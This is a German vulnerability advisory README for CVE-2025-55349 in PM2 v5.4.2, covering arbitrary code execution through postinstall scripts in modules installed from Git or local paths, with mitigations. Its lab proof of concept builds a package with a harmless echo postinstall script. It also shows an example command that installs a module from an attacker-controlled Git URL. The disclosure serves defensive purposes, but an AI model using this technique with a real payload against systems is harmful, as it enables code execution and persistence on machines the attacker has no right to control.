
repo für CVE-2025-55349
postinstallEntdecker: Golden Ticket Labs
Hersteller: Unitech (pm2)
Zuweisungsdatum: 20. August 2025 (MITRE)
Eine Schwachstelle in der Komponente lib/API/Modules/NPM.js von Unitech PM2 v5.4.2 ermöglicht beliebige Codeausführung durch die Installation von Paketen mit manipulierten postinstall-Skripten.
PM2 führt postinstall-Lebenszyklusskripte aus Git-basierten oder lokalen Dateiinstallationen automatisch aus, ohne Sandboxing oder Benutzerbestätigung, einschließlich bei Aufruf über:
Diese Schwachstelle bleibt auch dann bestehen, wenn das Modul defekt oder nicht funktionsfähig ist, und Angreifercode kann Systemneustarts überleben, wenn er als PM2-Bootmodul registriert ist. Betroffene Versionen
≤ 5.4.2 — Verwundbar
6.0.5 — Behoben — Git-Parsing-Logik entfernt (PR #5909), aber der Fix war undokumentiert und in den Änderungsprotokollen nicht vermerkt.
Angriffsvektor
Ein Angreifer kann ein bösartiges Git-Repository mit einer package.json vorbereiten, die ein manipuliertes postinstall-Skript enthält. Bei der Installation über PM2 wird das Skript automatisch ausgeführt:
pm2 install https://github.com/attacker/malicious-module.git
Auswirkungen
Ausführung von angreiferkontrolliertem Code zur Installationszeit
Persistenz über von PM2 verwaltete Bootmodule
Mögliche laterale Bewegung in Umgebungen mit gemeinsamen oder skriptbasierten Installationen
Technische Details
PM2 behandelt Git-Repositories bei der Modulinstallation als implizit vertrauenswürdig. Lebenszyklusskripte wie postinstall werden ohne Sandboxing, Sichtbarkeit oder Bestätigung ausgeführt.
Dies betrifft sowohl entfernte Git-URLs als auch lokale file://-Pfade, was die Angriffsfläche erheblich vergrößert. Da PM2-Module häufig beim Systemstart starten, ist das Risiko von Persistenz und eingebettetem unbefugtem Verhalten hoch. Gegenmaßnahmen
Aktualisieren Sie auf PM2 v6.0.5 oder neuer, wo die Git-Parsing-Logik entfernt wurde.
Vermeiden Sie die Installation von Modulen aus nicht vertrauenswürdigen Git-Quellen.
Proof of Concept (Nur Labor)
⚠️ Es wird kein scharfer Exploit-Code bereitgestellt. Dies ist eine sichere Demonstration.
# Create a malicious repo
git init pm2-evil
cd pm2-evil
cat > package.json <<EOF
{
"name": "pm2-evil",
"version": "1.0.0",
"scripts": {
"postinstall": "echo 'pwned by CVE-2025-55349'"
}
}
EOF
git add package.json
git commit -m "Evil postinstall"
cd ..
# Trigger the install (on vulnerable pm2 v5.4.2)
pm2 install file://$PWD/pm2-evil
Auf verwundbaren Versionen wird der postinstall-Befehl sofort ausgeführt. Referenzen
Fix-Commit (Entfernung der Git-Parsing-Logik)
PM2 v6.0.5 Release Lizenz & Haftungsausschluss
Alle Inhalte in diesem Repository dienen ausschließlich Bildungs- und Verteidigungszwecken. Es sind keine Exploit-Payloads enthalten. Verwenden Sie diese Techniken nicht gegen Systeme ohne ausdrückliche Genehmigung. Kontakt
Golden Ticket Labs 📧 [email protected]
🌐 goldenticketlabs.com